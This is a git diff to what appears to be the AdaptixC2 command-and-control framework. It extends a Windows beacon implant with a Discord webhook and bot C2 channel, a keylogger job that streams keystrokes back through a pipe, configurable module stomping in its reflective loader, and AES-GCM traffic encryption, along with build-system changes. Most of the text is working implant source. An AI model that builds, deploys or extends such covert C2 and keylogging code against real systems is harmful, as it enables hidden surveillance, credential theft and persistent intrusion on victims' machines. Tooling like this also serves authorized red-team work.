"Proxyfire", "std", "utils", "WaitMask"} CFlags = "-c -fno-builtin -fno-unwind-tables -fno-strict-aliasing -fno-ident -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables -fno-strict-overflow -fno-delete-null-pointer-checks -fpermissive -w -masm=intel -fPIC" LFlags = "-Os -s -Wl,-s,--gc-sections -static-libgcc -mwindows" ) @@ -308,6 +311,7 @@ var seedDependentFiles = map[string]bool{ "Boffer": true, "bof_loader": true, "Commander": true, + "Keylogger": true, } func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) { @@ -369,6 +373,9 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, if err != nil { return nil, err } + if len(encryptKey) != 32 { + return nil, errors.New("encrypt_key must be 32 bytes (64 hex chars) for AES-256-GCM") + } params = append(params, int(agentWatermark)) params = append(params, kill_date) @@ -503,6 +510,19 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, return nil, err } + case "discord": + webhookUrl, _ := listenerMap["webhook_url"].(string) + botToken, _ := listenerMap["bot_token"].(string) + channelTasksId, _ := listenerMap["channel_tasks_id"].(string) + pollInterval, _ := listenerMap["poll_interval"].(float64) + cleanup, _ := listenerMap["cleanup"].(bool) + + params = append(params, webhookUrl) + params = append(params, botToken) + params = append(params, channelTasksId) + params = append(params, int(pollInterval)) + params = append(params, cleanup) + default: return nil, errors.New("protocol unknown") } @@ -607,6 +627,9 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ } else if protocol == "dns" { ObjectDir = ObjectDir_dns ConnectorFile = "ConnectorDNS" + } else if protocol == "discord" { + ObjectDir = ObjectDir_discord + ConnectorFile = "ConnectorDiscord" } else { return nil, "", errors.New("protocol unknown") } @@ -656,6 +679,8 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ beaconDefine = "-DBEACON_TCP" case "dns": beaconDefine = "-DBEACON_DNS" + case "discord": + beaconDefine = "-DBEACON_DISCORD" } recompileFiles := []string{ConnectorFile} @@ -795,7 +820,7 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ "-DHASH_NTPROTECTVIRTUALMEMORY=0x%x -DHASH_NTCLOSE=0x%x "+ "-DHASH_LOADLIBRARYA=0x%x -DHASH_GETPROCADDRESS=0x%x "+ "-DHASH_FLUSHINSTRUCTIONCACHE=0x%x -DHASH_FREELIBRARY=0x%x "+ - "-DHASH_LOADLIBRARYEXA=0x%x -DMODULE_STOMP", + "-DHASH_LOADLIBRARYEXA=0x%x", seed, stubHashes.ModNtdll, stubHashes.ModKernel32, stubHashes.NtCreateSection, stubHashes.NtMapViewOfSection, @@ -803,6 +828,25 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ stubHashes.LoadLibraryA, stubHashes.GetProcAddress, stubHashes.FlushInstructionCache, stubHashes.FreeLibrary, stubHashes.LoadLibraryExA) + + if generateConfig.ModuleStomp && generateConfig.StompPaths != "" { + incPath := tempDir + "/stomp_paths.inc" + var incContent strings.Builder + incContent.WriteString("_stomp_paths:\n") + for _, line := range strings.Split(generateConfig.StompPaths, "\n") { + path := strings.TrimSpace(line) + if path == "" { + continue + } + escaped := strings.ReplaceAll(path, `\`, `\\`) + incContent.WriteString(fmt.Sprintf(" db \"%s\", 0\n", escaped)) + } + incContent.WriteString(" db 0\n") + _ = os.WriteFile(incPath, []byte(incContent.String()), 0644) + nasmDefines += fmt.Sprintf(" -DMODULE_STOMP -I%s/", tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Module stomping enabled") + } + nasmCmd := fmt.Sprintf("nasm -f bin %s %s -o %s", nasmDefines, nasmSrc, stubBinPath) _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Assembling reflective loader stub with per-payload hashes...") var nasmArgs []string @@ -1596,6 +1640,11 @@ func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[st array = []interface{}{COMMAND_UNLINK, int(id)} + case "keylog": + taskData.Type = adaptix.TASK_TYPE_JOB + pollInterval := 100 + array = []interface{}{COMMAND_KEYLOG_START, pollInterval} + case "upload": var fileName string var localFile string @@ -1966,6 +2015,11 @@ func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData } task.Message = message + case COMMAND_KEYLOG_START: + task.Type = adaptix.TASK_TYPE_JOB + task.Completed = false + task.Message = "Keylogger started (use 'jobs kill' to stop)" + case COMMAND_JOB: if false == packer.CheckPacker([]string{"byte", "byte"}) { goto HANDLER diff --git a/AdaptixServer/extenders/beacon_agent/pl_utils.go b/AdaptixServer/extenders/beacon_agent/pl_utils.go index 10ad65081..cbb8eb2c1 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_utils.go +++ b/AdaptixServer/extenders/beacon_agent/pl_utils.go @@ -61,6 +61,8 @@ const ( COMMAND_SHELL_CLOSE = 73 COMMAND_SHELL_ACCEPT = 74 + COMMAND_KEYLOG_START = 80 + COMMAND_JOB = 0x8437 COMMAND_SAVEMEMORY = 0x2321 COMMAND_ERROR = 0x1111ffff diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile b/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile index fa7851cee..18b8994cf 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile @@ -10,6 +10,7 @@ HTTP_DIST_DIR := "objects_http" SMB_DIST_DIR := "objects_smb" TCP_DIST_DIR := "objects_tcp" DNS_DIST_DIR := "objects_dns" +DISCORD_DIST_DIR := "objects_discord" HTTP_OBJECTS_X64 := $(patsubst beacon/%.cpp, $(HTTP_DIST_DIR)/%.x64.o, $(SOURCES)) HTTP_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(HTTP_DIST_DIR)/%.x86.o, $(SOURCES)) @@ -23,6 +24,9 @@ TCP_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(TCP_DIST_DIR)/%.x86.o, $(SOURCES)) DNS_OBJECTS_X64 := $(patsubst beacon/%.cpp, $(DNS_DIST_DIR)/%.x64.o, $(SOURCES)) DNS_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(DNS_DIST_DIR)/%.x86.o, $(SOURCES)) +DISCORD_OBJECTS_X64 := $(patsubst beacon/%.cpp, $(DISCORD_DIST_DIR)/%.x64.o, $(SOURCES)) +DISCORD_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(DISCORD_DIST_DIR)/%.x86.o, $(SOURCES)) + SECURITY_FLAGS := -fno-stack-protector \ -fno-strict-overflow \ -fno-delete-null-pointer-checks \ @@ -56,7 +60,7 @@ endif all: clean pre x64 x86 pre: - @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) + @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) $(DISCORD_DIST_DIR) @ # http @ cp $(FILES_DIR)/config.tpl $(HTTP_DIST_DIR)/config.cpp @ cp $(FILES_DIR)/stub.x64.bin $(HTTP_DIST_DIR)/stub.x64.bin @@ -73,12 +77,16 @@ pre: @ cp $(FILES_DIR)/config.tpl $(DNS_DIST_DIR)/config.cpp @ cp $(FILES_DIR)/stub.x64.bin $(DNS_DIST_DIR)/stub.x64.bin @ cp $(FILES_DIR)/stub.x86.bin $(DNS_DIST_DIR)/stub.x86.bin + @ # discord + @ cp $(FILES_DIR)/config.tpl $(DISCORD_DIST_DIR)/config.cpp + @ cp $(FILES_DIR)/stub.x64.bin $(DISCORD_DIST_DIR)/stub.x64.bin + @ cp $(FILES_DIR)/stub.x86.bin $(DISCORD_DIST_DIR)/stub.x86.bin clean: - @rm -rf $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) - @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) + @rm -rf $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) $(DISCORD_DIST_DIR) + @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) $(DISCORD_DIST_DIR) -x64: $(HTTP_OBJECTS_X64) $(SMB_OBJECTS_X64) $(TCP_OBJECTS_X64) $(DNS_OBJECTS_X64) +x64: $(HTTP_OBJECTS_X64) $(SMB_OBJECTS_X64) $(TCP_OBJECTS_X64) $(DNS_OBJECTS_X64) $(DISCORD_OBJECTS_X64) @ # http @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x64.o @@ -99,8 +107,13 @@ x64: $(HTTP_OBJECTS_X64) $(SMB_OBJECTS_X64) $(TCP_OBJECTS_X64) $(DNS_OBJECTS_X64 @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SHELLCODE -o $(DNS_DIST_DIR)/main_shellcode.x64.o @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x64.o $(DNS_DIST_DIR)/ConnectorSMB.x64.o $(DNS_DIST_DIR)/ConnectorTCP.x64.o $(DNS_DIST_DIR)/ConnectorDiscord.x64.o + @ # discord + @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SVC -o $(DISCORD_DIST_DIR)/main_service.x64.o + @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DISCORD -D BUILD_DLL -o $(DISCORD_DIST_DIR)/main_dll.x64.o + @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SHELLCODE -o $(DISCORD_DIST_DIR)/main_shellcode.x64.o + @rm -f $(DISCORD_DIST_DIR)/ConnectorHTTP.x64.o $(DISCORD_DIST_DIR)/ConnectorSMB.x64.o $(DISCORD_DIST_DIR)/ConnectorTCP.x64.o $(DISCORD_DIST_DIR)/ConnectorDNS.x64.o -x86: $(HTTP_OBJECTS_X86) $(SMB_OBJECTS_X86) $(TCP_OBJECTS_X86) $(DNS_OBJECTS_X86) +x86: $(HTTP_OBJECTS_X86) $(SMB_OBJECTS_X86) $(TCP_OBJECTS_X86) $(DNS_OBJECTS_X86) $(DISCORD_OBJECTS_X86) @ # http @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x86.o @@ -121,6 +134,11 @@ x86: $(HTTP_OBJECTS_X86) $(SMB_OBJECTS_X86) $(TCP_OBJECTS_X86) $(DNS_OBJECTS_X86 @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SHELLCODE -o $(DNS_DIST_DIR)/main_shellcode.x86.o @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x86.o $(DNS_DIST_DIR)/ConnectorSMB.x86.o $(DNS_DIST_DIR)/ConnectorTCP.x86.o $(DNS_DIST_DIR)/ConnectorDiscord.x86.o + @ # discord + @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SVC -o $(DISCORD_DIST_DIR)/main_service.x86.o + @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DISCORD -D BUILD_DLL -o $(DISCORD_DIST_DIR)/main_dll.x86.o + @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SHELLCODE -o $(DISCORD_DIST_DIR)/main_shellcode.x86.o + @rm -f $(DISCORD_DIST_DIR)/ConnectorHTTP.x86.o $(DISCORD_DIST_DIR)/ConnectorSMB.x86.o $(DISCORD_DIST_DIR)/ConnectorTCP.x86.o $(DISCORD_DIST_DIR)/ConnectorDNS.x86.o $(HTTP_DIST_DIR)/%.x64.o: beacon/%.cpp @@ -177,3 +195,17 @@ $(DNS_DIST_DIR)/miniz.x64.o: beacon/miniz.cpp $(DNS_DIST_DIR)/miniz.x86.o: beacon/miniz.cpp @$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DNS $(MINIZ_TRIM_FLAGS) -c $< -o $@ + + + +$(DISCORD_DIST_DIR)/%.x64.o: beacon/%.cpp + @$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_DISCORD -c $< -o $@ + +$(DISCORD_DIST_DIR)/%.x86.o: beacon/%.cpp + @$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DISCORD -c $< -o $@ + +$(DISCORD_DIST_DIR)/miniz.x64.o: beacon/miniz.cpp + @$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_DISCORD $(MINIZ_TRIM_FLAGS) -c $< -o $@ + +$(DISCORD_DIST_DIR)/miniz.x86.o: beacon/miniz.cpp + @$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DISCORD $(MINIZ_TRIM_FLAGS) -c $< -o $@ diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp index 96ec31cf0..7cbe07756 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp @@ -114,7 +114,7 @@ BYTE* Agent::BuildBeat(ULONG* size) MemFreeLocal((LPVOID*)&this->info->username, StrLenA(this->info->username)); MemFreeLocal((LPVOID*)&this->info->process_name, StrLenA(this->info->process_name)); -#if defined(BEACON_HTTP) || defined(BEACON_DNS) +#if defined(BEACON_HTTP) || defined(BEACON_DNS) || defined(BEACON_DISCORD) ULONG beat_size = beatEncLen; PBYTE beat = beatEnc; diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp index 415ffeb86..e632e6692 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp @@ -99,6 +99,14 @@ AgentConfig::AgentConfig() this->profile.burst_jitter = packer->Unpack32(); this->profile.dns_mode = packer->Unpack32(); this->profile.user_agent = packer->UnpackBytesCopy(&length); + +#elif defined(BEACON_DISCORD) + this->listener_type = packer->Unpack32(); + this->profile.webhook_url = packer->UnpackBytesCopy(&length); + this->profile.bot_token = packer->UnpackBytesCopy(&length); + this->profile.channel_tasks_id = packer->UnpackBytesCopy(&length); + this->profile.poll_interval = packer->Unpack32(); + this->profile.cleanup = packer->Unpack8(); #endif #if defined(BEACON_DNS) diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp index 86f626ebb..da52f2b8b 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp @@ -1,6 +1,7 @@ #include "Commander.h" #include "bof_loader.h" #include "Boffer.h" +#include "Keylogger.h" extern HANDLE g_StoredToken; @@ -143,6 +144,9 @@ void Commander::ProcessCommandTasks(BYTE* recv, ULONG recvSize, Packer* outPacke case COMMAND_UPLOAD: this->CmdUpload(CommandId, inPacker, outPacker); break; + case COMMAND_KEYLOG_START: + this->CmdKeylogStart(CommandId, inPacker, outPacker); break; + case COMMAND_SAVEMEMORY: this->CmdSaveMemory(CommandId, inPacker, outPacker); break; @@ -1191,6 +1195,48 @@ void Commander::CmdUpload(ULONG commandId, Packer* inPacker, Packer* outPacker) +void Commander::CmdKeylogStart(ULONG commandId, Packer* inPacker, Packer* outPacker) +{ + ULONG pollMs = inPacker->Unpack32(); + ULONG taskId = inPacker->Unpack32(); + + if (pollMs < 10) + pollMs = 100; + + HANDLE pipeRead = NULL; + HANDLE pipeWrite = NULL; + SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; + ApiWin->CreatePipe(&pipeRead, &pipeWrite, &sa, 0); + + if (!pipeRead || !pipeWrite) { + outPacker->Pack32(taskId); + outPacker->Pack32(COMMAND_ERROR); + outPacker->Pack32(TEB->LastErrorValue); + return; + } + + KeylogConfig* cfg = (KeylogConfig*)MemAllocLocal(sizeof(KeylogConfig)); + cfg->pipeWrite = pipeWrite; + cfg->active = 1; + cfg->pollIntervalMs = pollMs; + + HANDLE hThread = ApiWin->CreateThread(NULL, 0, KeylogWorker, cfg, 0, NULL); + if (!hThread) { + ApiNt->NtClose(pipeRead); + ApiNt->NtClose(pipeWrite); + MemFreeLocal((LPVOID*)&cfg, sizeof(KeylogConfig)); + outPacker->Pack32(taskId); + outPacker->Pack32(COMMAND_ERROR); + outPacker->Pack32(TEB->LastErrorValue); + return; + } + + agent->jober->CreateJobData(taskId, JOB_TYPE_LOCAL, JOB_STATE_RUNNING, hThread, 0, pipeRead, pipeWrite); + + outPacker->Pack32(taskId); + outPacker->Pack32(commandId); +} + void Commander::CmdSaveMemory(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG memoryId = inPacker->Unpack32(); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h index 55ec1e553..d04b4ab63 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h @@ -32,6 +32,8 @@ #define COMMAND_SHELL_ACEPT 74 +#define COMMAND_KEYLOG_START 80 + #define COMMAND_SAVEMEMORY 0x2321 #define COMMAND_ERROR 0x1111ffff @@ -82,6 +84,7 @@ class Commander void CmdUnlink(ULONG commandId, Packer* inPacker, Packer* outPacker); void CmdUpload(ULONG commandId, Packer* inPacker, Packer* outPacker); + void CmdKeylogStart(ULONG commandId, Packer* inPacker, Packer* outPacker); void CmdSaveMemory(ULONG commandId, Packer* inPacker, Packer* outPacker); void Exit(Packer* outPacker); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp index 3b90e4623..d2c68bd52 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp @@ -4,6 +4,7 @@ #include "Obfuscate.h" #include "ProcLoader.h" #include "Encoders.h" +#include "Crypt.h" #include "utils.h" #include "config.h" #include "DebugLog.h" @@ -876,7 +877,38 @@ void ConnectorDiscord::CloseConnector() if (this->functions) { memset(this->functions, 0, sizeof(DISCORDFUNC)); - // functions was allocated with LocalAlloc inside constructor, - // but ApiWin may be gone at this point; skip free + } +} + + +// ============================================================================ +// Connector interface implementation +// ============================================================================ + +BOOL ConnectorDiscord::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize) +{ + ProfileDiscord* prof = (ProfileDiscord*)profilePtr; + return this->SetConfig(*prof, beat, beatSize); +} + +void ConnectorDiscord::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) +{ + if (plainData && plainSize > 0) { + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen); + this->SendData(encData, encLen); + MemFreeLocal((LPVOID*)&encData, encLen); + } + else { + this->SendData(NULL, 0); + } + + if (this->recvSize > 0 && this->recvData) { + int dataSize = this->RecvSize(); + BYTE* dataPtr = this->RecvData(); + if (dataSize > 0 && dataPtr) { + int plainLen; + DecryptAES256GCM(dataPtr, dataSize, sessionKey, &plainLen); + } } } diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h index a68369a16..744d94fe4 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h @@ -2,7 +2,8 @@ #include #include -#include "AgentConfig.h" // ProfileDiscord defined here +#include "AgentConfig.h" +#include "Connector.h" #define DECL_API(x) decltype(x) * x @@ -25,27 +26,22 @@ struct DISCORDFUNC { DECL_API(InternetReadFile); }; -class ConnectorDiscord +class ConnectorDiscord : public Connector { - // WinInet session (recreated per-request for OPSEC) HINTERNET hSession; - // Discord API paths parsed from config - CHAR discordHost[128]; // "discord.com" - CHAR webhookPath[512]; // "/api/webhooks/xxx/yyy" - CHAR tasksPath[256]; // "/api/v10/channels/{id}/messages?limit=10" - CHAR authHeader[256]; // "Bot " + CHAR discordHost[128]; + CHAR webhookPath[512]; + CHAR tasksPath[256]; + CHAR authHeader[256]; - // XOR key for bot_token in-memory obfuscation BYTE tokenXorKey[32]; BYTE* tokenObf; ULONG tokenObfLen; - // Response buffer BYTE* recvData; int recvSize; - // Config ProfileDiscord profile; BYTE* beatData; ULONG beatSize; @@ -53,7 +49,6 @@ class ConnectorDiscord DISCORDFUNC* functions; - // Helpers BOOL HttpsRequest(const CHAR* method, const CHAR* path, const CHAR* extraHeaders, BYTE* body, ULONG bodyLen, BYTE** outBuf, ULONG* outLen); void ParseWebhookUrl(const CHAR* url); void XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen); @@ -63,16 +58,18 @@ class ConnectorDiscord void DeobfuscateToken(CHAR* out, ULONG outSize); void PollTasks(); + BOOL SetConfig(ProfileDiscord prof, BYTE* beat, ULONG bSize); + void SendData(BYTE* data, ULONG data_size); + public: ConnectorDiscord(); - BOOL SetConfig(ProfileDiscord profile, BYTE* beat, ULONG beatSize); - void CloseConnector(); - - void SendData(BYTE* data, ULONG data_size); - BYTE* RecvData(); - int RecvSize(); - void RecvClear(); + BOOL SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize) override; + void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) override; + BYTE* RecvData() override; + int RecvSize() override; + void RecvClear() override; + void CloseConnector() override; static void* operator new(size_t sz); static void operator delete(void* p) noexcept; diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp index b98f15199..4f8864077 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp @@ -15,6 +15,8 @@ #include "ConnectorTCP.h" #elif defined(BEACON_DNS) #include "ConnectorDNS.h" +#elif defined(BEACON_DISCORD) +#include "ConnectorDiscord.h" #endif Agent* g_Agent; @@ -30,6 +32,8 @@ static Connector* CreateConnector() return new ConnectorTCP(); #elif defined(BEACON_DNS) return new ConnectorDNS(); +#elif defined(BEACON_DISCORD) + return new ConnectorDiscord(); #endif } diff --git a/AdaptixServer/extenders/beacon_listener_discord/go.sum b/AdaptixServer/extenders/beacon_listener_discord/go.sum new file mode 100644 index 000000000..8889bb84d --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/AdaptixServer/extenders/hosting_service/go.sum b/AdaptixServer/extenders/hosting_service/go.sum new file mode 100644 index 000000000..8889bb84d --- /dev/null +++ b/AdaptixServer/extenders/hosting_service/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/AdaptixServer/extenders/linux_agent/pl_main.go b/AdaptixServer/extenders/linux_agent/pl_main.go index 647b68ce4..adbaa6861 100644 --- a/AdaptixServer/extenders/linux_agent/pl_main.go +++ b/AdaptixServer/extenders/linux_agent/pl_main.go @@ -45,7 +45,7 @@ type Teamserver interface { TsTaskUpdate(agentId string, data adaptix.TaskData) TsTaskGetAvailableAll(agentId string, availableSize int) ([]adaptix.TaskData, error) - TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int) error + TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int64) error TsDownloadUpdate(fileId string, state int, data []byte) error TsDownloadClose(fileId string, reason int) error TsDownloadSave(agentId string, fileId string, filename string, content []byte) error @@ -75,6 +75,14 @@ type Teamserver interface { TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool) TsTunnelConnectionData(channelId int, data []byte) TsTunnelConnectionAccept(tunnelId int, channelId int) + TsTunnelPause(channelId int) + TsTunnelResume(channelId int) + + TsTerminalConnExists(terminalId string) bool + TsTerminalGetPipe(AgentId string, terminalId string) (*io.PipeReader, *io.PipeWriter, error) + TsTerminalConnResume(agentId string, terminalId string, ioDirect bool) + TsTerminalConnData(terminalId string, data []byte) + TsTerminalConnClose(terminalId string, status string) error TsConvertCpToUTF8(input string, codePage int) string TsConvertUTF8toCp(input string, codePage int) string @@ -2049,7 +2057,7 @@ func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData fileId := fmt.Sprintf("%08x", params.FileId) if params.Start { - _ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, params.Size) + _ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, int64(params.Size)) } _ = Ts.TsDownloadUpdate(fileId, 1, params.Content) diff --git a/AdaptixServer/extenders/linux_listener_tcp/go.mod b/AdaptixServer/extenders/linux_listener_tcp/go.mod index ddccfbbfc..be4ec916f 100644 --- a/AdaptixServer/extenders/linux_listener_tcp/go.mod +++ b/AdaptixServer/extenders/linux_listener_tcp/go.mod @@ -7,4 +7,7 @@ require ( github.com/vmihailenco/msgpack/v5 v5.4.1 ) -require github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect +require ( + github.com/stretchr/testify v1.11.1 // indirect + github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect +) diff --git a/AdaptixServer/extenders/linux_listener_tcp/go.sum b/AdaptixServer/extenders/linux_listener_tcp/go.sum index f2b291c57..c481b50fe 100644 --- a/AdaptixServer/extenders/linux_listener_tcp/go.sum +++ b/AdaptixServer/extenders/linux_listener_tcp/go.sum @@ -1,14 +1,11 @@ github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= -github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= -github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= 